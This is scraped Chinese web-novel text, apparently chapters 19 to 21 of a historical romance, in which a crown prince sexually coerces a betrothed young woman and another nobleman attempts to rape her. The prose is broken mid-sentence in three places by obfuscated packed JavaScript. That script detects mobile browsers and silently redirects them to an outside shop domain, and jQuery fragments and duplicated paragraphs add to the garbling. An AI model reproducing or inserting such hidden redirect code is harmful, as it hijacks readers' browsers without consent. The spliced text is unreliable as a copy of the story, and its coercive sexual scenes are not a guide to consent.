;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16456515|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不禁回想起月余前,他因遭人暗算与沈念第一次相见,为了活命,他伪装成温润公子的模样,骗取她的同情心,而沈念呢,竟真的什么也不顾,毫不犹豫救下他。 那日她也是顶着这样一张脸和水盈盈的眸子,望向他时,眼中带着些许心疼与怜惜。 但他们素未谋面,她还对他如此上心。 世间为会有她这般蠢的人? 傻到可怜。 回忆罢,他终缩回手,靠过去咬住她的耳垂,声音罕见地多出几分柔情,“那孤不碰你,孤还像之前那样,好不好?嗯?” 即使小姑娘那样可怜,他也不想放过她。 有过前几次,她自然熟悉对方话里的意思,于是,沈念咬唇忍住耳垂的疼痛,轻轻点了点头,她知道那男人今夜是要铁了心玩弄她,无论她说什么,如何躲避,又有何用?他喜怒无常,若是再多言触怒他,恐怕今夜她更是难逃玩弄。 随后,裴争并未将她抱至软榻,而是一直在妆镱前弄着,一切的一切,都是在此处进行着。 帐内摇曳的烛火被风彻底吹灭,妆镜前的物件时不时随着他们的动作而掉落在地,发出阵阵声响。 几息后,裴争再次附在她耳畔,沙哑开口:“沈念,不准让宋淮之吻你,牵你,碰你……” “听到没有?回答孤!” 温热的气息扑到颈间,沈念本能地缩着肩头,声音里带着几丝哽咽,“臣女明白。” 就算男人不说,她也不敢在他面前同宋淮之亲密了,上位者在乎的不是她,而是他的玩物,绝不能被他人染指。 裴争急促呼吸了几声,慢悠悠道:“好,很好…若是让孤知道你们做了什么,孤不会放过他,也不会放过你。” “记住了么?” …… 一切结束后,沈念已被折腾的昏昏沉沉,躺在软榻上便睡着了,裴争何时离开的,她亦不清楚,只知道自己很累很累。 翌日清晨,因今日是秋猎前的祭天大典,她早早便起了身时,恍惚间,身体的不适感传来,她再次认清,昨夜不是梦,而是真实发生的,裴争再次威胁她做了那般荒唐的事。 不过值得庆幸的是,她身上的那些红痕并未让裴争瞧见,否则难以收场。 缓了几息后,她坐到妆镜前,却发现那里摆放着一方帕子,因为案前因昨夜,上面的东西早已掉落在地,这帕子放在那里极为显眼。 待仔细瞧清后,沈念就连指尖都止不住颤抖,忽地想起那是昨夜男人用来擦拭她身子的,那时他站在他身上,手上拿着这方帕子擦拭着那股黏腻,嘴里还说着让她羞愤欲死的话。 她不知道男人为何总是对她说出那样孟浪的话,而她的未婚夫淮之却从来不会,总是敬她,尊重她的一切。 他是故意的,就是故意羞辱她,玩弄她。真是可恨。 想到这里她紧紧咬着后槽牙,在心里骂了无数遍裴争。 待一切准备好后,她便忍着身体的酸痛去寻宋淮之一起参加祭典。 然,就在她前去寻宋淮之的路上,不期然遇上了一个不速之客。 20.第 20 章 然,就在她去寻宋淮之的路上,不期然遇上了一个不速之客。 他正是那日客栈中联合江氏,欲对她图谋不轨的男子。见他步步逼近,沈念额头渐渐渗出冷汗,转身离去却为时已晚,那男子先一步快步迎上来,并将她拖至帐后。 “逃啊?看你还往哪里逃?” 随后男子勒住她的腰肢,她根本不能挣脱,彻底落入的他的掌控之中。他俯身贴来时,沈念使出浑身力气躲避着,她觉得他的浑身每一处都很脏,脏到让她恶心。 “你莫要碰我!” “还不让老子碰?”男子死死攥着她的手腕,几乎快要折断,眼里凶光毕露,“小贱人,你还敢反抗?若不是你那日逃走,老子能因冲撞太子而没了两根手指?” 说到这里,男子气得额头青筋暴起, “什么?” 沈念这才瞧见男子的另一只手只剩下三根手指,见状,她眸子一怔,裴争居然砍了他的手指?只因他敲门冲撞了他么? 不过若是往日她听闻此事,定然会觉得裴争狠辣无情,只因冲撞一次便将人手指砍断,不过眼下,她却觉得是这男子罪有应得。 “小贱人!都是因为你!” 随后男子的手欲扯下她的外衣,沈念心头警铃大响,她手无缚鸡之力该如何对付男子? 虎口难逃生,但她必须要逃, 绝不对让男子将她糟蹋。 绝对不能。 沈念强压住心底的慌乱,逼迫自己冷静下来,缓了两息,她忽地灵机一动,开口道:“你莫要碰我,我……我同太子殿下交情匪浅,你若是再敢对我如此,他会要了你的命!” 此情此景,她能想到的对策只有裴争,用那个恶魔来吓唬眼前的人,利用他的威名来助自己脱困。 男子听闻后脸色大变,瞬间被吓得连连向后退,颤着声音道:“你……你……你认识太子殿下?” 沈念趁机拢上被男子扯下的外衣,再度开口:“是,我同太子殿下相识,你若是想活命,最好莫要碰我。” 姑娘的声音比之前故作坚定,却又因心虚尾音发颤,带着几分不稳的气息。 只有沈念自己知道,提到裴争时,她的内心有多恐惧。 仅片刻,退后的男子似是反应过来,再次伸出手将她抵在帐后,并紧紧捏住她的双肩,瞪着她,“小贱人,你在说什么胡话?那太子殿下他不近女色,你竟敢扯慌骗老子!老子定要让你好看!” 下一时,那男子像是疯了一样将她推倒在地上,顷刻便压下来,大力扯下她身上的衣物。 见男子根本不信她的话,沈念心生寒意,奋力抵抗着, “莫要碰我!” 见到美人被摧残成这般可怜模样,他面上浮现出阴恻恻的笑,得寸进尺的手游走在她的腰肢,外衣很快便被扯下。 “美人,你就从了我吧。” 凉意袭来,沈念浑身止不住地发抖,双手用力拍打着男子的后背,肩膀…… 可无论她如何抵抗,那男子就像是撼不动的岩石一样,牢牢罩在她身上,沈念心中一片悲凉,难道今日就要被他糟蹋么? 她不甘,更不愿。 却又手无缚鸡之力…… 这时男子支起身子解开腰封,露出猥琐又骇人的笑,“小贱人,看老子今日不办了你!” 腰封被扔到一旁,男子再次俯身要贴过来,就在沈念觉得自己彻底完了,今日必被这遭折磨时,她耳畔再次响起郎君的呼唤声, “卿卿!” 她抬睫望去,宋淮之正迎着日光向她跑来,他整个人被光映得金灿灿的,如救星降世。 下一时,男子便被他一拳打倒在地。 “淮之!” 仅一瞬,郎君便奔至她身侧,将外衣罩在她身上,遮住裸露的肌肤,“卿卿莫要怕,我来了,我来了。” 不料身后男子很快便起身,向宋淮之挥起拳头。 “淮之,小心!” 这一拳,幸而有沈念的提醒,才未打到宋淮之,接着,他们二人很快便厮打在一起。 然,宋淮之是读书人,哪里打得过眼前身姿魁梧的男子?三两下便败下阵来。 眼见着郎君被男子一拳一拳打倒,沈念心如刀割扑上前将他护在怀中。 “你莫要再打他了!有什么冲我来!” 宋淮之方才已是拼尽全力护她周全,嘴角被打得渗出血迹,一种说不出来的心疼自心底翻滚,一瞬间冲到喉咙,让她发不出任何声音,只一遍又一遍抚摸着郎君的侧脸。 “小贱人,这就是你那废物未婚夫?”男子踹了宋淮之心口一脚,大笑道:“果然是废物!这般瘦弱,哪里有老子能满足你?” “识相的话,快快投入老子怀抱!老子让你做妾。” 那些肮脏的话让人无地自容,沈念咬着唇,忍着这份羞辱。 宋淮之被男子踹倒在地,嘴角又吐出几口血,“你莫要碰她……你个畜牲!” “淮之!” 沈念欲上前,却被男子拉了回来,他面上的笑更加诡异,“敢骂老子是畜牲?那我今日就当着你的面占了你的未婚妻如何?哈哈哈哈。” 宋淮之已被打得还手之力,沈念眼瞧着那男子发了狠向她压过来。 然,就在这时,身后忽地传来一句人声,彻底阻止这场闹剧。 “太子殿下有令,遂宁世子扰乱秋猎祭典,来人,带下去!” 那男子当即变了脸色,奋力挣脱侍卫的钳制,“放开我!你们睁开你们的狗眼好好瞧瞧,老子可是遂宁侯府的世子,他太子殿下又凭何抓我?快放开我!” 这时,他又似恍然大悟,死死盯着沈念,再度开口骂道:“小贱人,我算明白了,你是不是背地里早就和太子搞在一起了!” “我说呢,原来是早就攀上太子殿下,难怪不从我,你的废物未婚夫都不知道你和太子殿下不清不楚吧!” 男子的话落入耳中,沈念眼角抽了抽,气得发抖,当真是可恶,末了还要往她心口插一刀。 世间怎会有这般恶毒之人。 这时,她抬睫看向身侧的宋淮之,见他低着头,却紧紧攥着拳头。 片刻后,侍卫将遂宁世子拖走后,长戈对着沈念轻轻点了点头示意。 接着,她又忙不迭起身扶起一旁的宋淮之,唇瓣用力抿了抿才开口:“淮之,我扶你回去上药。” 他这一身的伤皆是因她所起,暗暗里她的心紧紧揪成一团。 宋淮之擦了擦嘴角的血,点了点头。 ******** 待他们二人回帐后,宋淮之被扶坐在榻上,而沈念则拿着伤药,轻轻涂在他的伤口处。 方才的遂宁世子下手狠辣无情,他的嘴角和眼眶已红肿渗血,看着让人心疼不已。 她只是轻轻一碰,郎君便疼到轻轻嘶了一声,他的脸本就白净,如今那伤口布在他脸上,明显且可怖, “很疼么?” 沈念拧着眉头,看他这般,她的心像被针扎了一样疼。 然而,榻上的宋淮之没说话,只摇了摇头,也未看沈念一眼。 上完药后,他缩坐在那里,还是未给她一个眼神,一言不发,攥紧的拳头已攥到指节发白。 沈念暗暗叹了口气,她自然明白宋淮之这个样子一定是因为刚刚遂宁世子说的话,惹他不快,引起了误会。 相处久了,她才发现宋淮之的脾气秉性,他虽很少生气,但一生气便是生闷气,躲在角落里不理人,无论她说什么都只会淡淡应付。 眼下这般模样,定是生闷气呢。 是以,她缓步凑近坐在他身侧,扯了扯他的袖口,“淮之,你又吃醋了?” 郎君眨了眨眼,垂下眼睫,思虑良久,才说出口:“卿卿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16462631|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你若是有良配…同我坦白就好,我愿意放手的……” 他回忆着方才的事,他明明已拼尽全力护着姑娘,却仍没有太子殿下一句话来得快,所以他根本护不住她啊。 说到这里,他眸中泛着水光,像是受了极大的委屈。 “……” 沈念无奈叹了口气,而后伸出手捧起他的脸,凝视着他,声音很是认真,“淮之,此生我非你不嫁。” 说罢,她便俯身靠过去,吻向他的唇角,很轻柔,已不似第一次那般莽撞,反而是一下又一下地游移。 勾得人心尖发痒。 神女献吻,宋淮之先是愣住,待到反应过来后他看着身前闭紧双眼的姑娘,忽地伸出手揽住她的腰身,回应她的吻。 吻罢,他们两人皆轻轻喘息着,且唇瓣轻微红肿,透露着艳极的绯色。 “卿卿,你——” 未等郎君说完话,沈念便握住他的手,从她的锁骨一路向下,最终停留在腰肢,轻声开口:“淮之,这里,还有这里……都是你那日留下的红痕,别不认账,我已经赖上你了。” 手停留在姑娘的腰肢,宋淮之完全不敢动,听她又提及那日自己的荒唐,他瞬间低下头,脸颊没忍住红成一片。 此时,他还哪里有方才的闷气,尽数被羞愧所占据, “卿卿是我,都是我,我又糊涂了,不该疑心你……” 他总是很好哄,尤是只要她对他展露三分柔情。 “淮之,我是你的妻,永远都是。” 她同裴争解蛊后,就会嫁给他为妻, 那时他们二人便会永远在一起。 良久,宋淮之又道:“卿卿,太子殿下今日出手相救,按照礼数,我们理应前去谢恩。” “祭典后,我们就去。” 听到这里,沈念的脸陡然一变,试探性问:“我们……一定要去么?” 宋淮之反握住她的手,目光温润而坚定,“卿卿,殿下方才算是从那恶霸手中救下我们,于礼,你我自然要前去谢恩。” 她了解郎君的性子,心中端着礼教,此事怕是劝不动,只能硬着头皮同他前去谢恩。 去见那个噩梦般的男人。 ******* 傍晚,太子帐内。 身着玄色蟒袍的男人站在帐内,正手拿小铃铛逗弄着案前的鹦鹉,听到长戈的禀告后,面上浮现出一抹淡笑。 “遂宁世子关起来了?” 长戈应道:“已经按照殿下的吩咐,关起来了。” “不知殿下打算如何处置?” 此言一出,空气陷入沉寂,接着便传来男人的哂笑, “孤给遂宁侯面子,不要他的命。” “那便拔了他的舌头吧。” 他用着最平静的话语,说着极为狠辣得事,长戈点头应声,背后早就被吓出冷汗。 随后,他又问道:“沈念如何?” 听到此话,长戈微微愣住,往日冰冷的太子殿下对任何事皆是毫不关心,如今竟能过问沈姑娘的事。 “宋编修及时出手相救,世子并未得手,沈姑娘一切安好。” 随后裴争没再多说什么,继续逗着笼中的鹦鹉, “沈姑娘,沈姑娘,沈姑娘……” 鹦鹉的叫声打破周遭的死寂,裴争垂下浓密的眼睫,只不过几日没见,这只鹦鹉竟被下人教得开始学舌了。 “长戈,孤日后不想听到它说话。” “是属下遵旨!” 长戈擦了擦额间的冷汗,这只鹦鹉是半月前陛下赏赐的,还算入了殿下的眼,时不时拿来逗弄,就连秋猎也带在身侧解闷。 这时,帐内一小厮走上前来,禀告,“殿下,沈姑娘同宋编修前来,说是要谢恩。” 话音落,裴争玩弄着手中的铃铛,眼中戏谑之意更甚, “传进来。” 21.第 21 章 祭祀大典后已至傍晚,沈念同宋淮之用过晚膳后便前去了太子帐内谢恩。 即便她心中很不情愿,但无奈宋淮之坚持,她怕他生疑也不好多说什么,只好顺着他一同前去找裴争谢恩。 几息后行到太子帐外,他们让帐外的小厮进去通报了一声,随后长戈出来行了一礼,身后还跟出来一个端着托盘的小厮。 长戈俯身:“沈姑娘,宋编修,太子殿下吩咐,若是你们二人要谢恩,进去敬盏酒就好,就当全了礼数。” 敬酒? 沈念眸光动了动,心中翻涌,她没想到裴争只是让他们二人入内敬酒?那个男人今日竟如此反常,为何要让他们进去敬酒谢恩? 住日经历过裴争太过不可预料的折磨,是以,她根本不信只是简单的敬酒。 然,一旁的宋淮之却没有她那么多思虑,拉着她的手便要进入帐内,“只是敬酒有何不可?卿卿,我们快进去吧。” 而正当着宋淮之牵起她的手准备一同入内时,却被眼前的长戈拦了下来,“沈姑娘,宋编修,殿下不喜人多,你们要单独入内。” “不能一起进去么?”沈念抿了抿唇,心口止不住地起伏了一下,单独入内就是要意味着她同裴争要单独相处,倘所他要对她做什么,亦是不能反抗。 长戈看向沈念,应道:“殿下的脾气秉性你们自然也清楚,若是违抗他……怕是……” 说到这里,他止住话头,并没有将一切明说出来。 宋淮之不了解裴争,可沈念却对他一清二楚,那男人一向喜怒无常,若是今日她坚持拉着宋淮之一同进去敬酒,怕是要触怒他,从而得到惩罚。 惩罚—— 这二字让她想起玉清观汤池里,船舫小榻……一幕幕让人可耻的画面浮现,沈念慌忙垂下眼帘,心头像是被一把无名火烤着。 羞耻,厌恶…… 一切都涌了上来。 宋淮之没太在乎此事,听长戈说他们二人若是坚持一同进去,太子殿下会恼怒,他想着多一事不如少一事,旋即答应道:“既然如此,那我们不一起进去,我先进去,卿卿待我出来再进去,好不好?” “……” 不好, 可是她又不能说。 转瞬,她再欲出言想劝时,郎君已跟着长戈大步迈入帐内。 此时的帐外只剩下沈念一个人。 她面上强装平静,实则内心早已乱作一团,担心裴争会对宋淮之做出什么事,更担心她若是进去敬酒会面对什么。 裴争会不会对她做出什么不可理喻的事?沈念头皮一阵发麻,攥紧的手心早已沁出冷汗,就连脸色也紧跟着苍白了几分。 面对男人的玩弄, 她能做的只有顺从。 想到这里,她忽地周围的一切就像是一团黑雾,将她包裹起来,拉入无尽的深渊。 …… 等了片刻后,帐帘终于掀起,是宋淮之从帐内走了出来,沈念快步迎上拉住他的手,左看右看,拧起眉头,“怎么样?太子殿下可有为难你?” 天知道,她有多害怕裴争会像先前那般,寻个由头将宋淮之拖下去,治不敬之罪。 见小姑娘眼中满是担忧,宋淮之反握住她的手,笑道:“卿卿,我能有什么事?太子殿下不过是同我说了几句话,他还过问你我何时成亲呢,还说到时定会送上大礼恭贺。” 郎君在傻笑,沈念也陪着他笑了两声,却在暗地里捏紧手指,心中渐渐涌上一层恐惧。 大礼—— 裴争若真送,她也不敢收。 宋淮之催促了一声:“卿卿你快去吧,敬完酒后,我们回去。” “好……” 无论如何,今日这遭算是躲不过去,她先是站在帐帘外默了几息,在心里无数次劝说自己莫要怕,随后鼓足勇气掀开帐帘走了进去。 帐帘垂落,将最后一缕光线隔绝在外,霎时间一股熟悉的檀香窜入鼻中,带有侵略性地包裹在她周身,一点点侵蚀她的身子,让人不寒而栗。 眼下裴争正在榻上,她端着酒盏绕过屏风后,便来到他眼前。 只见那男人轻阖双眸斜倚在软榻,手肘撑在锦枕上,而另一只手则玩着腰间的玉佩流苏,身上的寝衣微敞,露出沟壑分明的胸膛,姿态慵懒,却威慑力十足。 不得不承认的是,裴争有着一张极为精致好看的脸,仅仅是侧脸也俊美无俦,她想若是没他的威名,仅凭这张勾人的脸迷倒京城万千少女不在话下,但他实在太狠辣了,那双眼眸狠戾冰冷,试问哪个女子瞧见不会害怕呢? 这世间怕是没有。 回过神后,她盈盈一礼,“臣女给殿下敬酒,谢殿下今日救命之恩。” 听到她的声音,裴争倏地睁开双眸,饶有兴致盯着她瞧,却没说话,只是用玉佩点了点身侧的榻上。 有了前几次的经验,沈念知道他这是在示意她过去,于是乎她捏紧手中的酒盏,迈开沉重的步子,停在男人身侧。 眼下他们二人,一个慵懒倚在软榻,一个胆战站在帐内,男人见她听话走过来,唇角动了那么一下,语气也罕见多了几分温柔,“坐过来。” 沈念惊恐地瞪大双眼,身体本能颤起来,对方竟然让她坐过去?坐到他身侧,那……还会发生什么? 她没敢动,也没说话。 裴争见她愣在原地,再度开口:“快点坐过来。” 这次的语气明显带着几分不耐烦,沈念知道他的耐心只存在一瞬间,若是触怒他,没什么好处,最后她只好硬着头皮坐了过去。 听他的话,坐在他身侧。 眼下她坐在软榻上,男人倚在她身后,他们二人贴得极近,与其说坐在榻上,不如说是坐在他怀中,只要他一伸手,便可将她整个人圈进入怀中,无处可躲。 无形之中的接触让沈念心口起伏得更厉害了,她不敢动,也不敢看身侧男人一眼,只好捏着手中酒盏,从牙缝里哆哆嗦嗦挤出话,“臣女给殿下敬酒,谢殿下救命之恩。” 裴争没理会她口中说的敬酒,也根本不在意她口中说的什么救命之恩,只是抬眸细细打量身侧的小姑娘,只见她脸色惨白,眼神飘忽不定,显然已怕到极点。 接着,他玩弄起她披散在身后的发丝,语调缓缓,“沈念,你怕什么?偷情的事又不是没做过,眼下孤还没对你做什么呢。” 沈念被裴争的话说的脸白一阵儿红一阵的,一颗心提到嗓子眼,堵得呼吸都困难起来,尤是偷情二字落入她耳中,使得她蓦地红了耳根。 “殿下——” 她想开口说话,却也不知道说什么。 或者说她根本无言以对。 一番逗弄裴争得到满足,再抬眸时眼神却落在小姑娘轻轻颤抖着唇瓣,这时他才察觉到,今日她的唇同往日很是同,透着更加潋滟的绯红,就像是被人用力吮吸,研磨。 见状,心底的怒火窜上心头,他额头上青筋都在隐隐跳动,仅一瞬,他伸出手捏住了她的下颌,逼迫她转头对视。 男人突如其来的举动,让沈念脑袋轰地一下,眼神惶恐,“殿下这是怎么了——” 她又哪里触怒他了?他为何又突然动怒?下颌似被捏碎一样疼,她只好紧紧咬着唇瓣忍住疼痛。 小姑娘水盈盈的眼眸望过来,闪烁着胆怯的光芒,却无法熄灭他心中的怒火。 “你问孤怎么了?”裴争抿起唇,声音染上几分怒意,“沈念,他是不是亲你了?嗯?” 唇已经被亲成那样,看来是亲了很久很久,他都没有亲过她,竟被那个草包抢了先。 想到这里,裴争的脸色更加难看了 沈念吓得整个人身子僵住,背脊都窜过了一丝寒意,这时她才想起白日里同宋淮之的亲吻。 她原以为自己躲避着,男人会瞧不出来,岂料他竟如此敏锐。 “殿下,是…是臣女错了…” “你的错?”裴争夺去她手中的酒盏,将其尽数喂进她的嘴里,冷声开口:“你就那么想让他碰你么?” 抱在一起也罢,竟然还吻在一起,他早该想到的,早该想到他们之间不可能什么亲密举动都没有。 酒的辛辣迅速钻入喉咙,呛得沈念连连咳嗽起来,大口喘息着,却还未等她缓回呼吸,男人的唇便覆了上来。 她想躲避他的吻,却不料被他扣着脑勺,被迫承受他的气息,不容她有半分退缩的余地。 与宋淮之不同,他的吻极具侵略性也带着几分挑逗的意味,由浅入深,恨不得将所有滚烫的气息都喂进她的嘴里,像是宣泄什么,像是占有什么,很凶,很霸道,仿若要将她揉进身体里。 就在她快要窒息,双手抵在男人胸口拒绝时,对方才将她放过,下一时,娇嫩的唇瓣得了自由,沈念仿若离了水的鱼儿突然落回水中,大口喘息着。 心里的愤怒得到缓解,裴争薄唇轻勾,大手又要探入她的衣裙,想要扯下她的衣物。 察觉到男人的意图,沈念脚下倏软,赶忙离开软榻,跪在地上,哀求道:“殿下!不可啊…臣女的未婚夫还等在外面等着……” “我们不能……” 帐内的他们怎可做出那样的事? “求殿下,放过臣女……” 见小姑娘像是躲避洪水猛兽一样,缩在地上苦苦哀求,裴争眯起眼,眸中一抹黑色暗涌。 良久,他继续吩咐: “沈念,过来,” 沈念哪里还敢近男人的身,只愣在原地,身子本能地往后挪动,“殿下不可啊……” 与宋淮之不同,他的吻极具侵略性也带着几分挑逗的意味,由浅入深,恨不得将所有滚烫的气息都喂进她的嘴里,像是宣泄什么,像是占有什么。 很凶,很霸道,仿若要将她揉进身体里。 默了几息,裴争再度开口: “孤让你过来,你敢不听?” “信不信孤现在就把你扔在榻上……” 扔在榻上—— 沈念心下一沉,她懂他的言外之意,而后再不敢愣在那里不动,再次迈步靠近裴争,却不敢坐在他身侧,只站在那里。 下一时,那男人竟然从怀中取出一个小铃铛,强行系在了她的手腕上,扯了下唇, “沈念,明日月圆之夜,记得将这个铃铛戴上。” 许是方才的一吻,让男人的怒意消退了大半。眼下无论他说什么,沈念都不敢再反驳,即使要让她带什么奇怪的铃铛过来。 “是……臣女遵旨。” 眼下无论他说什么,沈念都不敢再反驳,即使要让她带什么奇怪的铃铛过去。 “是,臣女遵旨。” 裴争斜睨着她,神色晦暗不明,“退下吧,莫要让你的好未婚夫等久了。” “臣女告退。” 一切的话如雷贯耳。 让她怕到发抖。 得到对方的准许后,沈念赶忙退了下去,就在快迈到帐帘时,她解下手腕的铃铛,藏在了怀中,绝对不能让宋淮之发现她多出了这么个小铃铛。 出帐后,宋淮之迎面走来,并牵住她的手,浅浅笑道:“卿卿,我们快走吧。” 而就在这时,他忽地注意到小姑娘唇好似比方才更加红,眼尾好似也泛着薄红。 他挑眉问道:“你这是怎么了?” 见郎君一直盯着她的唇瞧,沈念眼神闪躲着,手指紧紧捏住衣角,“方才殿下开恩赏了酒,许是被辣的。” 她的内心的慌乱一览无余,这次又扯慌骗了郎君,认识裴争后,她扯了一个又一个慌。 只能日后加倍对宋淮之好来弥补。 尚能缓解愧疚。 郎君温柔地摸了摸她的后脑,薄唇挑着浅浅的弧度,“傻卿卿,你从未饮过酒,自是会被辣到,日后莫要再饮了。” 和煦的阳光透过淡薄的云层落在郎君身上,成了点点金色的光斑,细碎又温柔。 无论何时,宋淮之皆以她为重。 一股暖流自心底荡漾而出,像投入湖面的石子激起涟漪,一圈又一圈,甜在心尖。 沈念嘴唇轻轻颤抖想说什么,却什么都说不出来,待走远后,她才敢牵起宋淮之的手,一同走回帐内。 夜里,她却无法入睡,一直在担忧月圆之夜,她还要再次同裴争欢好。 噩梦再次浮现,仿若一只无形的大手扼住她的呼吸,逼得她喘不过气。 ******** 翌日,秋狩开始。 沈念虽一夜未眠,但也早早起身跟着宋淮之来到猎场。 秋狩乃朝廷大事,往日都是由帝王亲自来此举办祭天狩猎,无奈自去年冬日除夕宴会后,帝王一直在病重,并将朝中大小事宜,尽数交给太子殿下处理。 今年的秋狩也自然由裴争主持。 场内一众世家子弟皆以准备就继,等待进入猎场。 而宋淮之却因她喜欢兔子,非要逞强去秋狩。走到猎场入口,沈念拽住郎君的袖口,拧着双眉,“淮之,你莫要去了。” 郎君自幼以书墨为伴,哪里会猎兽? 若是受了伤该如何是好? 宋淮之回握住她的手腕,面色从容,“卿卿放心,你莫要忘了我虽是书生,可也是一个男子,你就乖乖等着我给你抓几只兔子回来,你不是最喜欢兔子?” “淮之,我——” 兔子的命哪里有郎君的安全重要? 沈念知道自己根本劝不动,只好随他去了,目光沉沉看着郎君骑马扬长而去,她深吸了口气,强烈的不安涌上心头。 她真的很害怕宋淮之出事。 她站在原地许久未动,扭头时恰巧遇到骑马而来的裴争,两人视线相对瞬间,沈念当即低下头躲避那道骇人的目光。 见状,裴争凝眉嗤了一声,看向小姑娘的眼神带着几分轻蔑与玩味。 待男人彻底消失在眼前,沈念才敢离开猎场,坐回席间等待,整个心仿若悬在半空中,担忧她的郎君能否安全回来。 猎场里有没有凶兽,他会不会遇到危险,想到这里,她急得连手中的茶盏都打翻在地,不小心沾湿了衣裙,加之她今日本就有些心慌意乱,心底总有股压不住的燥热。 那燥热就像是快要冲出来, 急寻要得到解药缓解。 沈念饮了口凉茶,才算是清醒几分,压制住心底的燥热。 …… 直到快至傍晚,陆陆续续的公子们皆出了猎场,但唯不见到宋淮之的身影,见状,沈念再也坐不住了,快步跑至场外焦急等待着。 她在心里无数次祈祷着,下一个人是宋淮之,他不能出事,绝对不能出事。 下一时,耳畔响起一阵马蹄声,沈念抬眸望去,却不料待那人走近后,却是裴争,她眸中的光亮在一瞬间湮灭了。 而这时裴争将小姑娘的情绪尽数捕捉在眼中,她刚刚眸中盛满了期待,却在他过来后唇角微微下垂,就像是一朵期待阳光的花朵,迎来了雨水,只剩下无尽的失落。 她在期待什么? 她在等着什么? 宋淮之么? 一旁的长戈见到自家主子回来,立时迎了上去接过弓箭,“殿下,可要回帐内?” 裴争未动也未语,只盯着眼前的沈念,眸子深沉而阴冷,周身的戾气翻涌。 长戈察觉到太子殿下神情不对,也未敢言语,只静静站在一旁。 沈念并不知道裴争灼热的目光一直在盯着她,她一心只有宋淮之,等待他平安归来,又等了几息,还是未见郎君身影,沈念终忍不住焦急要冲进围场里。 而就在这时,一个人缓步行来,只见他一手牵着马,只一只手拎着兔子,狼狈不堪。 待看清他是宋淮之后,沈念快步跑过去,不顾一切扑到怀里,声音有些发抖, “淮之,你终于回来了。” “你若是出了事,我该如何是好……” 小姑娘扑在怀中,细软的发丝被风吹起,像是羽毛轻挠下巴,宋淮之因手上脏并没有拥她入怀,只呵呵笑着,“卿卿我这不是没事?都怪我,让你着急了。” “淮之,” 抱了一会儿后,沈念脱离开宋淮之的怀抱,拉起他的胳膊左看右看,“可有哪里受伤了?” 宋淮之摇了摇头,伸手替她将散乱的发丝绾在耳后,安慰道:“没有卿卿,我一切安好,你莫要忧我。” 接着,他又将手中的兔子示给她看,“你瞧,我给你带来回的兔子。” 看着他手中的兔子,沈念冲他浅浅笑着,郎君傻傻的,为了给她带回来兔子,竟不顾一切。 几番叙话后,沈念便拉着宋淮之回了他的帐内。 然,在他们未察觉之处,裴争的那双眼眸一直在盯着他们瞧,直到两个人背影渐渐消失…… 他亲眼看着小姑娘扑进宋淮之怀中,她眼中的欣喜就快要溢出来,可她明明今晚要属于他啊。 想到这里,他眸中带着几分不加掩饰的沉欲,嘴角的笑意味不明。 ************** 沈念带着宋淮之回到帐内后,二话不说将他按坐在榻上,昨日的淤青已经消散不少,今日额头又磕破了,白净的脸上一块一块的都是伤口。 哪里还是书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16470836|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的模样?不知道的还以为他同谁打了一架。沈念将药轻轻涂抹在郎君的伤口,面色凝重,“淮之,你真傻。” 为了讨她关心,性命都不顾了。 但是她不值得啊。 宋淮之定定地望着她,眉目含笑,“卿卿想要什么,我自当奉上。” “莫说是兔子,就是我的命,我也心甘情愿。” 郎君的话如同冬日里的?阳,她的心像是被他的温柔填满,溶化在他的目光之中。 沈念轻轻捂住他的嘴,嗔怪了一句,“你……你莫要说胡话。” 她怎么可能会要他的命。 视线交汇瞬间,空气越来越热。 宋淮之的气息变得有些急促,琥珀般的眸子盯着她,欲俯身吻过来。 有了前两次的经验,郎君明显对她越发大胆,再不似往日那般拘束。如今竟主动过来吻她。 看着他凑过来的唇瓣,沈念本想依着他,却不料唇刚刚触碰在一起,她的心底迅速窜过一股无名的燥热。 而那股燥热让她眼尾泛起一抹淡粉色,从心底抗拒宋淮之的亲近。 她快速偏过头躲避他的吻,“淮之,我——” 小姑娘的闪躲宋淮之看在眼中,他旋即停止凑近,最终将那吻落在她的额间,温声道:“卿卿,我不会强迫你做任何事。” 抬?看着郎君真挚的目光,沈念心里涌出莫名的愧疚感,她没说什么,只扑在他的怀中。 接着,两人又缠绵了一会儿,待最后一抹余晖消失,沈念心下一沉,今夜是月圆之夜,她知道她该去做什么, “淮之……我先回去了,你好好养伤。” 这时,郎君却攥住了她的袖口,眼神暗了暗, “卿卿,我们不是还要去赏月?” “今夜是月圆之夜,我们说好的。” 赏月么? 她又何尝不想,只是她今晚有更重要的事去做。 沈念垂下眼睫,将衣袖轻轻扯回,不由地蜷了蜷手指,心里有种说不出的滋味, “淮之,我有些累,不想去了。” “等日后有机会我们再一同去。” 